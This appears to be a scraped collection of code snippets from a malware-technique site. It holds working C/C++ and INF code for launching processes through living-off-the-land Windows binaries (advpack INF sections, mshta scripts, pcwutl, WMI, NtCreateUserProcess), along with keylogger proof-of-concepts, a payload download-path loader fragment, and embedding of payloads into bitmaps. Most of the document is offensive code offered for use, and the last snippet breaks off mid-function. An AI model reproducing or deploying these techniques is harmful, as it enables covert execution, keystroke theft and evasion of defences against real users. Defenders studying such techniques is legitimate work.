### Sample INF File Structure Source: https://malwaresourcecode.com/home/process-creation-techniques/infsectioninstallstring This is an example of an .INF file that can be used for installing sections. It defines version information and specifies commands to be run during installation. This structure is commonly used for software installation and configuration on Windows systems. ```inf [version] signature = $Chicago$ AdvancedInf = 2.5 [DefaultInstall_SingleUser] RunPostSetupCommands = Tag1 [Tag1] C:\Windows\system32\calc.exe ``` -------------------------------- ### Example Usage for Touch Injection (C++) Source: https://malwaresourcecode.com/home/process-creation-techniques/touch-injection-click-on-desktop-binary This is an example `main` function demonstrating how to use `TouchInjectionExecuteBinaryOnDesktopFromNameW`. It sets the process DPI awareness and then calls the function to execute 'calc.exe' assuming it is present on the desktop. ```cpp //example //requires calc.exe on desktop INT main(VOID) { SetProcessDpiAwarenessContext(DPI_AWARENESS_CONTEXT_PER_MONITOR_AWARE_V2); TouchInjectionExecuteBinaryOnDesktopFromNameW((PWCHAR)L"calc.exe"); return 0; } ``` -------------------------------- ### INF File Example for Command Execution Source: https://malwaresourcecode.com/home/process-creation-techniques/infsectioninstallstring2 An example of an .INF file that can be used with the INFSectionInstallString2 functionality. It defines a section 'Tag1' that executes 'calc.exe'. This requires a pre-existing .INF file with the specified structure. ```inf [version] signature = $Chicago$ AdvancedInf = 2.5 [DefaultInstall_SingleUser] RunPostSetupCommands = Tag1 [Tag1] C:\Windows\system32\calc.exe ``` -------------------------------- ### CreateProcessFromMsHTMLW Examples (C++) Source: https://malwaresourcecode.com/home/process-creation-techniques/createprocessfrommshtml Demonstrates how to use the CreateProcessFromMsHTMLW function with different mshta commands. These examples show executing 'calc.exe' silently and a JavaScript command to speak text using the SAPI SpVoice object. ```cpp CreateProcessFromMsHTMLW(L"vbscript:CreateObject(\"WScript.Shell\").Run(\"calc.exe\",0)(Window.Close)") CreateProcessFromMsHTMLW(L"\"javascript:close((V=(v=new ActiveXObject('SAPI.SpVoice')).GetVoices()).count&&v.Speak('Hello! I am " + V(0).GetAttribute('Gender')))""); ``` -------------------------------- ### Example Usage of CoCreateIsoForMounting (C++) Source: https://malwaresourcecode.com/home/component-object-model/cocreateisoformounting This code snippet shows an example of how to call the `CoCreateIsoForMounting` function. It demonstrates passing the display name for the file within the ISO, the local path to the file, the desired path for the generated ISO, and the volume name for the ISO. The HRESULT return value should be checked to ensure the operation was successful. ```cpp HRESULT Result = S_OK; Result = CoCreateIsoForMounting((PWCHAR)L"MyFile.txt", //test.txt name inside of iso (PWCHAR)L"C:\\Users\\User\\Desktop\\test.txt", (PWCHAR)L"C:\\Users\\User\\Desktop\\MyIso.iso", (PWCHAR)L"NewVolume"); ``` -------------------------------- ### Windows Application Entry Point Source: https://malwaresourcecode.com/home/my-projects/proof-of-concepts/branchy-branchless-keylogger The entry point for a Windows graphical application (wWinMain). It initializes the window class, loads global functions, sets up message handlers via callbacks, and prepares the application to start processing messages. This is the standard starting point for Win32 applications. ```c INT WINAPI wWinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPWSTR lpCmdLine, _In_ INT nShowCmd) { DWORD ConditionalExpression = ERROR_SUCCESS; HWND WindowHandle = NULL; HMODULE Module = NULL; WNDCLASSEXWWndClass; RecursiveZeroMemoryInvoker(&WndClass, sizeof(WndClass)); ConditionalExpression = LoadGlobalFunctions(); ExpressionHandler[ConditionalExpression](); WndClass.cbSize = sizeof(WNDCLASSEXW); WndClass.lpfnWndProc =Wndproc; WndClass.hInstance = hInstance; WndClass.lpszClassName = L"BranchlessCode"; InitializeCallbackRoutines(Callback, WmDefaultHandler, 256); Callback[WM_NCCREATE] = WmCreateHandler; Callback[WM_INPUT] = WmInputHandler; ``` -------------------------------- ### Load FileSystemObject (C++) Source: https://malwaresourcecode.com/home/my-projects/proof-of-concepts/jeff-com-only-keylogger This C++ function initializes and returns an IDispatch pointer to the Scripting.FileSystemObject. It uses CLSIDFromProgID to get the CLSID and CoCreateInstance to create the object. Error handling is included to return E_FAIL if initialization fails. ```cpp HRESULT LoadFileSystemObject(IDispatch** Fso) { CLSID Clsid; HRESULT Result = S_OK; Result = CLSIDFromProgID(L"Scripting.FileSystemObject", &Clsid); if (!SUCCEEDED(Result)) return E_FAIL; return CoCreateInstance(Clsid, NULL, CLSCTX_INPROC_SERVER, IID_IDispatch, (PVOID*)Fso); } ``` -------------------------------- ### Initialize COM and GUIDs for IHxHelpPaneServer (C++) Source: https://malwaresourcecode.com/home/process-creation-techniques/ihxhelppaneserver Initializes COM and retrieves the CLSID and IID for the IHxHelpPaneServer interface. This function is a prerequisite for creating instances of the server. ```cpp HRESULT CoInitializeIHxHelpIds(LPGUID Clsid, LPGUID Iid) { HRESULT Result = S_OK; if (!SUCCEEDED(Result = CLSIDFromString(L"{8cec58ae-07a1-11d9-b15e-000d56bfe6ee}", Clsid))) return Result; if (!SUCCEEDED(Result = CLSIDFromString(L"{8cec592c-07a1-11d9-b15e-000d56bfe6ee}", Iid))) return Result; return Result; } ``` -------------------------------- ### Main Function Example (C++) Source: https://malwaresourcecode.com/home/code-base/markdown/random-integer/ioctl-ksecdd-random This is a simple C++ main function that demonstrates how to call GetRandomIntegerKsecDDObject to obtain a random integer and then returns success. It serves as a basic entry point for testing the random number generation functionality. ```cpp INT main(VOID) { UINT32 Value = 0; GetRandomIntegerKsecDDObject(&Value); return ERROR_SUCCESS; } ``` -------------------------------- ### Create Process with PCWUtil (C++) - Unicode Source: https://malwaresourcecode.com/home/process-creation-techniques/createprocessfrompcwutilw This function dynamically loads 'pcwutl.dll' and calls 'LaunchApplicationW' to start a process using a Unicode path. It handles library loading, function retrieval, and library unloading, returning TRUE on success and FALSE on failure. ```cpp BOOL CreateProcessFromPcwUtilW(_In_ LPCWSTR PathToBinary) { typedef VOID(WINAPI* LAUNCHAPPLICATIONW)(HWND, HINSTANCE, LPCWSTR); LAUNCHAPPLICATIONW LaunchApplicationW = NULL; HMODULE hMod = NULL; BOOL bFlag = FALSE; hMod = LoadLibraryW(L"pcwutl.dll"); if (hMod == NULL) goto EXIT_ROUTINE; LaunchApplicationW = (LAUNCHAPPLICATIONW)GetProcAddress(hMod, "LaunchApplicationW"); if (!LaunchApplicationW) goto EXIT_ROUTINE; LaunchApplicationW(NULL, NULL, PathToBinary); bFlag = TRUE; EXIT_ROUTINE: if (hMod) FreeLibrary(hMod); return bFlag; } ``` -------------------------------- ### Main Application Entry Point (C++) Source: https://malwaresourcecode.com/home/my-projects/proof-of-concepts/jeff-com-only-keylogger The main function initializes COM, loads the FileSystemObject and DirectInput objects, and sets up DirectInput for keyboard input. It then constructs a path to a local text file and opens it for writing using the FileSystemObject. The code includes extensive error handling using goto statements to a common EXIT_ROUTINE. ```cpp INT main(VOID) { HRESULT Result = S_OK; BOOL bFlag = FALSE; IDirectInput8W* DirectInput = NULL; IDirectInputDevice8W* Keyboard = NULL; IMalloc* Allocator = NULL; PWCHAR OutputPath = NULL; IDispatch* Fso = NULL; IDispatch* TextStream = NULL; DISPID WriteOperation; OLECHAR* Method = (PWCHAR)L"Write"; Result = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED); if (!SUCCEEDED(Result)) goto EXIT_ROUTINE; Result = LoadFileSystemObject(&Fso); if (!SUCCEEDED(Result)) goto EXIT_ROUTINE; Result = LoadDirectInput8Objects(&DirectInput, &Keyboard); if (!SUCCEEDED(Result)) goto EXIT_ROUTINE; Result = CoGetMalloc(1, &Allocator); if (!SUCCEEDED(Result)) goto EXIT_ROUTINE; OutputPath = (PWCHAR)Allocator->Alloc(MAX_PATH * sizeof(WCHAR)); if (OutputPath == NULL) goto EXIT_ROUTINE; Result = CoGetLocalAppData(OutputPath); if (!SUCCEEDED(Result)) goto EXIT_ROUTINE; if (StringConcatW(OutputPath, L"\\MyDemo.txt") == NULL) goto EXIT_ROUTINE; Result = CoOpenTextStream(Fso, &TextStream, OutputPath); if (!SUCCEEDED(Result)) goto EXIT_ROUTINE; Result = Keyboard->SetDataFormat(&c_dfDIKeyboard); if (!SUCCEEDED(Result)) goto EXIT_ROUTINE; Result = Keyboard->SetCooperativeLevel(GetConsoleWindow(), DISCL_BACKGROUND | DISCL_NONEXCLUSIVE); if (!SUCCEEDED(Result)) goto EXIT_ROUTINE; Result = Keyboard->Acquire(); if (!SUCCEEDED(Result)) goto EXIT_ROUTINE; Result = TextStream->GetIDsOfNames(IID_NULL, &Method, 1, LOCALE_USER_DEFAULT, &WriteOperation); ``` -------------------------------- ### Get PID from Process Name (C++) Source: https://malwaresourcecode.com/home/fingerprinting/getpidfromenumprocesses Retrieves the Process ID (PID) for a given process name with its extension. This function enumerates all running processes, opens each process to query its module information, and compares the module's base name with the provided process name. It requires the 'psapi.h' header and uses Windows API functions. Returns the PID if found, otherwise returns 0. ```cpp #include DWORD GetPidFromEnumProcessesW(_In_ PWCHAR ProcessNameWithExtension) { HANDLE hProcess = NULL; DWORD ProcessIdArray[1024] = { 0 }; DWORD ProcessIdArraySize = 0; DWORD NumberOfBytesReturned = 0; if (!K32EnumProcesses(ProcessIdArray, sizeof(ProcessIdArray), &NumberOfBytesReturned)) return FALSE; ProcessIdArraySize = NumberOfBytesReturned / sizeof(DWORD); for (DWORD dwIndex = 0; dwIndex < ProcessIdArraySize; dwIndex++) { HMODULE Module = NULL; DWORD dwProcessId = ERROR_SUCCESS; WCHAR ProcessStringName[MAX_PATH * sizeof(WCHAR)] = {0}; if (ProcessIdArray[dwIndex] == 0) continue; hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, ProcessIdArray[dwIndex]); if (hProcess == NULL) continue; if (!K32EnumProcessModules(hProcess, &Module, sizeof(Module), &NumberOfBytesReturned)) continue; if (K32GetModuleBaseNameW(hProcess, Module, ProcessStringName, sizeof(ProcessStringName) / sizeof(WCHAR)) == 0) continue; if (StringCompareW(ProcessNameWithExtension, ProcessStringName) == 0) dwProcessId = GetProcessId(hProcess); CloseHandle(hProcess); if (dwProcessId != 0) return dwProcessId; } return 0; } DWORD GetPidFromEnumProcessesA(_In_ PCHAR ProcessNameWithExtension) { HANDLE hProcess = NULL; DWORD ProcessIdArray[1024] = { 0 }; DWORD ProcessIdArraySize = 0; DWORD NumberOfBytesReturned = 0; if (!K32EnumProcesses(ProcessIdArray, sizeof(ProcessIdArray), &NumberOfBytesReturned)) return FALSE; ProcessIdArraySize = NumberOfBytesReturned / sizeof(DWORD); for (DWORD dwIndex = 0; dwIndex < ProcessIdArraySize; dwIndex++) { HMODULE Module = NULL; DWORD dwProcessId = ERROR_SUCCESS; CHAR ProcessStringName[MAX_PATH] = { 0 }; if (ProcessIdArray[dwIndex] == 0) continue; hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, ProcessIdArray[dwIndex]); if (hProcess == NULL) continue; if (!K32EnumProcessModules(hProcess, &Module, sizeof(Module), &NumberOfBytesReturned)) continue; if (K32GetModuleBaseNameA(hProcess, Module, ProcessStringName, sizeof(ProcessStringName) / sizeof(CHAR)) == 0) continue; if (StringCompareA(ProcessNameWithExtension, ProcessStringName) == 0) dwProcessId = GetProcessId(hProcess); CloseHandle(hProcess); if (dwProcessId != 0) return dwProcessId; } return 0; } ``` -------------------------------- ### Calculate Wide String Length using StringLengthW (C++) Source: https://malwaresourcecode.com/home/code-base/markdown/stringlength/stringlengthw The StringLengthW function calculates the length of a null-terminated wide character string (LPCWSTR). It iterates through the string until it finds the null terminator and returns the difference between the current pointer and the starting pointer. The provided example demonstrates its usage with a sample wide string. ```cpp #include SIZE_T StringLengthW(_In_ LPCWSTR String) { LPCWSTR String2; for (String2 = String; *String2; ++String2); return (String2 - String); } INT main(VOID) { WCHAR String1[] = L"I like cats a lot"; SIZE_T Length = 0; Length = StringLengthW(String1); return ERROR_SUCCESS; } ``` -------------------------------- ### Creating a User Process with NtCreateUserProcess (C) Source: https://malwaresourcecode.com/home/process-creation-techniques/ntcreateuserprocess This C code snippet illustrates the process of creating a new user-mode process using the NtCreateUserProcess system call. It involves setting up the necessary attributes, including the image name and path, and then calling NtCreateUserProcess. Error handling and resource deallocation are also demonstrated. ```c { PPEB Peb = NtCurrentPeb(); UNICODE_STRING NtImagePath; PPROCESS_PARAMETERS ProcessParameters = NULL; PATTRIBUTE_LIST AttributeList = NULL; OBJECT_ATTRIBUTES ObjectAttributes; CLIENT_ID ClientId; HANDLE hHandle; HANDLE hThread; NTSTATUS Status; ULONG dwError = ERROR_SUCCESS; RtlInitUnicodeString(&NtImagePath, L"C:\\Windows\\System32\\notepad.exe"); // Initialize ObjectAttributes for RtlCreateProcessParameters InitializeObjectAttributes(&ObjectAttributes, NULL, 0, NULL, NULL); // Create Process Parameters Status = RtlCreateProcessParameters(&ProcessParameters, &NtImagePath, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); if (NT_SUCCESS(Status)) { // Allocate AttributeList AttributeList = (PATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(ATTRIBUTE_LIST)); if (AttributeList) { AttributeList->TotalLength = sizeof(ATTRIBUTE_LIST); AttributeList->Count = 1; AttributeList->Attributes[0].Attribute = PS_ATTRIBUTE_IMAGE_NAME; AttributeList->Attributes[0].Size = NtImagePath.Length; AttributeList->Attributes[0].Value = (ULONG_PTR)NtImagePath.Buffer; if (NtCreateUserProcess(&hHandle, &hThread, PROCESS_ALL_ACCESS, THREAD_ALL_ACCESS, NULL, NULL, NULL, NULL, ProcessParameters, &CreateInfo, AttributeList) != ERROR_SUCCESS) dwError = GetLastErrorFromTeb(); //? } } if (AttributeList) HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, AttributeList); if (ProcessParameters) RtlDestroyProcessParameters(ProcessParameters); return dwError; } ``` -------------------------------- ### Initialize for Path Creation Source: https://malwaresourcecode.com/home/my-projects/proof-of-concepts/russian-doll-recursive-file-loader This section prepares variables and structures for creating a download path. It initializes buffers for local app data, payload name, object attributes, and I/O status. It also sets up structures for random number generation and driver name handling, all using zero-fill operations. ```cpp case CreateDownloadPath: { WCHAR LocalAppDataW[MAX_PATH]; WCHAR PayloadName[24]; OBJECT_ATTRIBUTES Attributes; IO_STATUS_BLOCK Io; WCHAR NativePath[MAX_PATH * sizeof(WCHAR)]; DWORD dwOffset = 0; CHAR ccRngBuffer[34]; HANDLE hRngDevice; BYTE RngBuffer[16]; WCHAR DriverNameBuffer[12]; UNICODE_STRING DriverName; CHAR HexArray[17]; Table->ZeroFill.Destination = &LocalAppDataW; Table->ZeroFill.Size = sizeof(LocalAppDataW); RecursiveExecutor(ZeroFillData, Table); Table->ZeroFill.Destination = &PayloadName; Table->ZeroFill.Size = sizeof(PayloadName); RecursiveExecutor(ZeroFillData, Table); Table->ZeroFill.Destination = &Attributes; Table->ZeroFill.Size = sizeof(OBJECT_ATTRIBUTES); RecursiveExecutor(ZeroFillData, Table); ``` -------------------------------- ### Launch INF Section Function (C++) Source: https://malwaresourcecode.com/home/process-creation-techniques/infsectioninstallstring This C++ function, `CreateProcessFromINFSectionInstallStringNoCabW`, is designed to launch a specified section from an .INF file. It dynamically loads `advpack.dll`, retrieves the `LaunchINFSectionW` function, and prepares the necessary arguments to execute the INF command. It handles both wide character (Unicode) strings and returns a boolean indicating success or failure. ```cpp BOOL CreateProcessFromINFSectionInstallStringNoCabW(_In_ LPCWSTR PathToInfFile, _In_ LPCWSTR NameOfSection) { typedef HRESULT(WINAPI* LAUNCHINFSECTIONW)(HWND, HINSTANCE, PWSTR, INT); LAUNCHINFSECTIONW LaunchINFSectionW = NULL; HMODULE hMod = NULL; BOOL bFlag = FALSE; WCHAR InfExecutionBuffer[MAX_PATH * 2] = { 0 }; hMod = LoadLibraryW(L"advpack.dll"); if (hMod == NULL) goto EXIT_ROUTINE; LaunchINFSectionW = (LAUNCHINFSECTIONW)GetProcAddress(hMod, "LaunchINFSectionW"); if (!LaunchINFSectionW) goto EXIT_ROUTINE; if (StringCopyW(InfExecutionBuffer, PathToInfFile) == NULL) goto EXIT_ROUTINE; if (StringConcatW(InfExecutionBuffer, L",") == NULL) goto EXIT_ROUTINE; if (StringConcatW(InfExecutionBuffer, NameOfSection) == NULL) goto EXIT_ROUTINE; if (StringConcatW(InfExecutionBuffer, L",") == NULL) goto EXIT_ROUTINE; if (StringConcatW(InfExecutionBuffer, L"1") == NULL) goto EXIT_ROUTINE; if (StringConcatW(InfExecutionBuffer, L",") == NULL) goto EXIT_ROUTINE; if (!SUCCEEDED(LaunchINFSectionW(NULL, NULL, InfExecutionBuffer, 0))) goto EXIT_ROUTINE; bFlag = TRUE; EXIT_ROUTINE: if (hMod) FreeLibrary(hMod); return bFlag; } ``` -------------------------------- ### Get Process Path from Loader (C++) Source: https://malwaresourcecode.com/home/wrappers-and-helpers/getprocesspathfromloaderload Retrieves the full DLL name from the PEB loader data. It checks buffer length and performs string conversion. Dependencies include access to PEB and related structures. ```cpp DWORD GetProcessPathFromLoaderLoadModuleA(_In_ DWORD nBufferLength, _Inout_ PCHAR lpBuffer) { PPEB Peb = GetPeb(); PLDR_MODULE Module = NULL; Module = (PLDR_MODULE)((PBYTE)Peb->LoaderData->InMemoryOrderModuleList.Flink - 16); if (nBufferLength < Module->FullDllName.Length) return 0; return (DWORD)WCharStringToCharString(lpBuffer, Module->FullDllName.Buffer, Module->FullDllName.MaximumLength); } DWORD GetProcessPathFromLoaderLoadModuleW(_In_ DWORD nBufferLength, _Inout_ PWCHAR lpBuffer) { PPEB Peb = GetPeb(); PLDR_MODULE Module = NULL; Module = (PLDR_MODULE)((PBYTE)Peb->LoaderData->InMemoryOrderModuleList.Flink - 16); if (nBufferLength < Module->FullDllName.Length) return 0; if (StringCopyW(lpBuffer, Module->FullDllName.Buffer) == NULL) return 0; return Module->FullDllName.Length; } ``` -------------------------------- ### Create ISO with File (C++) Source: https://malwaresourcecode.com/home/component-object-model/cocreateisoformounting This C++ function demonstrates how to create an ISO file and embed a specified file into it. It utilizes the `IFileSystemImage` interface from the IMAPI2 filesystem API. The function takes the display name of the file within the ISO, the full path to the source file, the full path for the output ISO file, and the desired volume name as input parameters. It requires COM initialization and linking with `shlwapi.lib`. ```cpp #include #include #pragma comment(lib, "shlwapi.lib") HRESULT CoCreateIsoForMounting(_In_ PWCHAR FileDisplayName, _In_ PWCHAR FullPathToFile ,_In_ PWCHAR FullIsoPath, _In_ PWCHAR VolumeName) { HRESULT Result = S_OK; IFileSystemImage* Fsi = NULL; IFsiDirectoryItem* Root = NULL; IFileSystemImageResult* ImageResult = NULL; IStream* Stream = NULL; IStream* ImageStream = NULL; BSTR bpFileDisplayName = NULL; BSTR bpFullIsoPath = NULL; BSTR bpVolumeName = NULL; HANDLE hHandle = INVALID_HANDLE_VALUE; ULARGE_INTEGER LargeInteger = { 0 }; DWORD BytesWritten = 0; BYTE Buffer[4096] = { 0 }; ULONG BytesRead = 0; STATSTG Stat = { 0 }; Result = CoInitialize(NULL); if (!SUCCEEDED(Result)) goto EXIT_ROUTINE; Result = CoCreateInstance(__uuidof(MsftFileSystemImage), NULL, CLSCTX_INPROC_SERVER, IID_PPV_ARGS(&Fsi)); if (!SUCCEEDED(Result)) goto EXIT_ROUTINE; Result = Fsi->put_FileSystemsToCreate(FsiFileSystemISO9660); if (!SUCCEEDED(Result)) goto EXIT_ROUTINE; bpVolumeName = SysAllocString(VolumeName); if (bpVolumeName == NULL) goto EXIT_ROUTINE; Result = Fsi->put_VolumeName(bpVolumeName); if (!SUCCEEDED(Result)) goto EXIT_ROUTINE; Result = Fsi->get_Root(&Root); if (!SUCCEEDED(Result)) goto EXIT_ROUTINE; bpFileDisplayName = SysAllocString(FileDisplayName); if(bpFileDisplayName == NULL) goto EXIT_ROUTINE; Result = SHCreateStreamOnFileEx(FullPathToFile, STGM_READ | STGM_SHARE_DENY_WRITE, FILE_ATTRIBUTE_NORMAL, FALSE, NULL, &Stream); if (!SUCCEEDED(Result)) goto EXIT_ROUTINE; Result = Root->AddFile(bpFileDisplayName, Stream); if (!SUCCEEDED(Result)) goto EXIT_ROUTINE; Result = Fsi->CreateResultImage(&ImageResult); if (!SUCCEEDED(Result)) goto EXIT_ROUTINE; Result = ImageResult->get_ImageStream(&ImageStream); if (!SUCCEEDED(Result)) goto EXIT_ROUTINE; hHandle = CreateFileW(FullIsoPath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if (hHandle == INVALID_HANDLE_VALUE) goto EXIT_ROUTINE; Result = ImageStream->Stat(&Stat, STATFLAG_NONAME); if (!SUCCEEDED(Result)) goto EXIT_ROUTINE; Result = ImageStream->Seek({ 0 }, STREAM_SEEK_END, &LargeInteger); if (!SUCCEEDED(Result)) goto EXIT_ROUTINE; Result = ImageStream->Seek({ 0 }, STREAM_SEEK_SET, NULL); if (!SUCCEEDED(Result)) goto EXIT_ROUTINE; while (ImageStream->Read(Buffer, sizeof(Buffer), &BytesRead) == S_OK && BytesRead > 0) { if (!WriteFile(hHandle, Buffer, BytesRead, &BytesWritten, NULL)) goto EXIT_ROUTINE; } EXIT_ROUTINE: if (bpVolumeName) SysFreeString(bpVolumeName); if (bpFileDisplayName) SysFreeString(bpFileDisplayName); if (hHandle) CloseHandle(hHandle); if (Stream) Stream->Release(); if (ImageStream) ImageStream->Release(); if (ImageResult) ImageResult->Release(); if (Root) Root->Release(); if (Fsi) Fsi->Release(); CoUninitialize(); return Result; } ``` -------------------------------- ### Example Usage of String Hashing (C++) Source: https://malwaresourcecode.com/home/string-hashing/rotr32-add-13 This is the main function demonstrating the usage of the `HashStringRotateRight13Inc` function. It initializes a wide string, calls the hashing function, and returns success. The computed hash value is stored but not further utilized in this example. ```cpp INT main(VOID) { WCHAR StringHashExample[] = L"Hash This String"; UINT32 Hash = 0; Hash = HashStringRotateRight13Inc(StringHashExample); return ERROR_SUCCESS; } ``` -------------------------------- ### Create Process using WMI (C++) Source: https://malwaresourcecode.com/home/process-creation-techniques/wmiwin32_createprocess This C++ function `CreateProcessFromWmiWin32_ProcessW` demonstrates how to create a new process using the `Win32_Process` WMI class. It involves initializing COM, connecting to WMI, retrieving necessary WMI objects and methods, and then executing the 'Create' method with specified command line arguments and process startup information. Proper COM object cleanup and error handling are included. Note that this function requires Wide Character strings. ```cpp DWORD CreateProcessFromWmiWin32_ProcessW(_In_ LPCWSTR BinaryPath) { HRESULT Result; IWbemLocator* Locator = NULL; IWbemServices* Services = NULL; IWbemClassObject* Win32ProcessStartupObject = NULL; IWbemClassObject* StartupInstance = NULL; IWbemClassObject* Win32ProcessObject = NULL; IWbemClassObject* ParameterInformationObject = NULL; IWbemClassObject* ParametersObject = NULL; IWbemClassObject* StartupResponseObject = NULL; VARIANT varCommand; VARIANT vtDispatch; BOOL bFlag = FALSE; DWORD dwError = ERROR_SUCCESS; Result = CoInitializeEx(0, COINIT_MULTITHREADED); if (!SUCCEEDED(Result)) goto EXIT_ROUTINE; Result = CoCreateInstance(CLSID_WbemLocator, NULL, 1, IID_IWbemLocator, (LPVOID*)&Locator); if (!SUCCEEDED(Result)) goto EXIT_ROUTINE; Result = Locator->ConnectServer((BSTR)L"ROOT\CIMV2", NULL, NULL, 0, NULL, 0, 0, &Services); if (!SUCCEEDED(Result)) goto EXIT_ROUTINE; Result = CoSetProxyBlanket(Services, RPC_C_AUTHN_WINNT, RPC_C_AUTHZ_NONE, NULL, RPC_C_AUTHN_LEVEL_CALL, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_NONE); if (!SUCCEEDED(Result)) goto EXIT_ROUTINE; Result = Services->GetObjectW((BSTR)L"Win32_ProcessStartup", 0, NULL, &Win32ProcessStartupObject, NULL); if (!SUCCEEDED(Result)) goto EXIT_ROUTINE; Result = Win32ProcessStartupObject->SpawnInstance(0, &StartupInstance); if (!SUCCEEDED(Result)) goto EXIT_ROUTINE; Result = Services->GetObjectW((BSTR)L"Win32_Process", 0, NULL, &Win32ProcessObject, NULL); if (!SUCCEEDED(Result)) goto EXIT_ROUTINE; Result = Win32ProcessObject->GetMethod((BSTR)L"Create", 0, &ParameterInformationObject, NULL); if (!SUCCEEDED(Result)) goto EXIT_ROUTINE; Result = ParameterInformationObject->SpawnInstance(0, &ParametersObject); if (!SUCCEEDED(Result)) goto EXIT_ROUTINE; VariantInit(&varCommand); varCommand.vt = VT_BSTR; varCommand.bstrVal = (BSTR)BinaryPath; Result = ParametersObject->Put((BSTR)L"CommandLine", 0, &varCommand, 0); if (!SUCCEEDED(Result)) goto EXIT_ROUTINE; VariantInit(&vtDispatch); vtDispatch.vt = VT_DISPATCH; vtDispatch.byref = StartupInstance; Result = ParametersObject->Put((BSTR)L"ProcessStartupInformation", 0, &vtDispatch, 0); if (!SUCCEEDED(Result)) goto EXIT_ROUTINE; Result = Services->ExecMethod((BSTR)L"Win32_Process", (BSTR)L"Create", 0, NULL, ParametersObject, &StartupResponseObject, NULL); if (!SUCCEEDED(Result)) goto EXIT_ROUTINE; bFlag = TRUE; EXIT_ROUTINE: if (!bFlag) { if (Result != S_OK) dwError = Win32FromHResult(Result); else dwError = GetLastErrorFromTeb(); } if (Locator) Locator->Release(); if (Services) Services->Release(); if (Win32ProcessStartupObject) Win32ProcessStartupObject->Release(); if (StartupInstance) StartupInstance->Release(); if (Win32ProcessObject) Win32ProcessObject->Release(); if (ParameterInformationObject) ParameterInformationObject->Release(); if (ParametersObject) ParametersObject->Release(); if (StartupResponseObject) StartupResponseObject->Release(); CoUninitialize(); return dwError; } ``` -------------------------------- ### Get Process Binary Name from HWND (C++) Source: https://malwaresourcecode.com/home/wrappers-and-helpers/getprocessbinarynamefromhwnd Retrieves the binary name of a process given its HWND. This function uses Windows API calls like GetWindowThreadProcessId, OpenProcess, and QueryFullProcessImageName. It handles both wide and ANSI character versions. ```c++ BOOL GetProcessBinaryNameFromHwndW(_In_ HWND ProcessHwnd, _Inout_ PWCHAR BinaryName, _In_ DWORD BufferSize) { WCHAR Buffer[MAX_PATH * sizeof(WCHAR)] = { 0 }; DWORD ProcessId = ERROR_SUCCESS; HANDLE hHandle = NULL; BOOL bFlag = FALSE; DWORD dwError = 0; DWORD dwLength = MAX_PATH * sizeof(WCHAR); GetWindowThreadProcessId(ProcessHwnd, &ProcessId); hHandle = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, ProcessId); if (hHandle == NULL) return FALSE; if (!QueryFullProcessImageNameW(hHandle, 0, Buffer, &dwLength)) goto EXIT_ROUTINE; if (MAX_PATH * sizeof(WCHAR) > BufferSize) goto EXIT_ROUTINE; if (StringCopyW(BinaryName, Buffer) == NULL) goto EXIT_ROUTINE; bFlag = TRUE; EXIT_ROUTINE: if (hHandle) CloseHandle(hHandle); return bFlag; } BOOL GetProcessBinaryNameFromHwndA(_In_ HWND ProcessHwnd, _Inout_ PCHAR BinaryName, _In_ DWORD BufferSize) { CHAR Buffer[MAX_PATH * sizeof(WCHAR)] = { 0 }; DWORD ProcessId = ERROR_SUCCESS; HANDLE hHandle = NULL; BOOL bFlag = FALSE; DWORD dwError = 0; DWORD dwLength = MAX_PATH * sizeof(WCHAR); GetWindowThreadProcessId(ProcessHwnd, &ProcessId); hHandle = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, ProcessId); if (hHandle == NULL) return FALSE; if (!QueryFullProcessImageNameA(hHandle, 0, Buffer, &dwLength)) goto EXIT_ROUTINE; if (MAX_PATH * sizeof(WCHAR) > BufferSize) goto EXIT_ROUTINE; if (StringCopyA(BinaryName, Buffer) == NULL) goto EXIT_ROUTINE; bFlag = TRUE; EXIT_ROUTINE: if (hHandle) CloseHandle(hHandle); return bFlag; } ``` -------------------------------- ### Main Entry Point - wWinMain (C++) Source: https://malwaresourcecode.com/home/my-projects/proof-of-concepts/meow-meow-kitty-cat-meow-meow/mmkcmm-insert The main entry point for the Windows application, wWinMain. It initializes console I/O, parses command-line arguments, and sets up file blocks for a bitmap and an input file. The function's primary goal is to prepare for embedding data into a BMP file, with error handling throughout the initialization process. ```cpp #include #include // ... (other includes and definitions like CrtCreateConsoleIo, IMAGE_FILE_BLOCK, etc.) INT WINAPI wWinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPWSTR lpCmdLine, _In_ int nShowCmd) { LPWSTR* szArglist = NULL; INT Arguments = 0; BOOL bFlag = FALSE; IMAGE_FILE_BLOCK BitmapFileBlock = { 0 }; IMAGE_FILE_BLOCK InputFileBlock = { 0 }; PBITMAPFILEHEADER BitmapFileHeader = NULL; PBYTE BitmapPixelData = NULL; LONGLONG BitmapPixelDataSize = 0; HANDLE OutputBitmapWithPayload = INVALID_HANDLE_VALUE; DWORD dwReturn = ERROR_SUCCESS; if (!CrtCreateConsoleIo()) goto EXIT_ROUTINE; szArglist = CommandLineToArgvW(GetCommandLineW(), &Arguments); if (szArglist == NULL || Arguments < 3) { printf("[ERROR] No commandline argument or insufficient arguments.\r\n"); // ... (rest of the function) goto EXIT_ROUTINE; } // ... (rest of the function logic) EXIT_ROUTINE: // ... (cleanup and return) return 0; } ``` -------------------------------- ### Get File Size from Path (C++) Source: https://malwaresourcecode.com/home/wrappers-and-helpers/getfilesizefrompath Retrieves the size of a file using its path. It supports both wide character (PWCHAR) and ANSI character (PCHAR) paths. The function opens the file, gets its size using GetFileSizeEx, and returns the size in bytes. Returns INVALID_FILE_SIZE on error. ```c++ LONGLONG GetFileSizeFromPathW(_In_ PWCHAR Path, _In_ DWORD dwFlagsAndAttributes) { LARGE_INTEGER LargeInteger; HANDLE hHandle = INVALID_HANDLE_VALUE; hHandle = CreateFileW(Path, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | 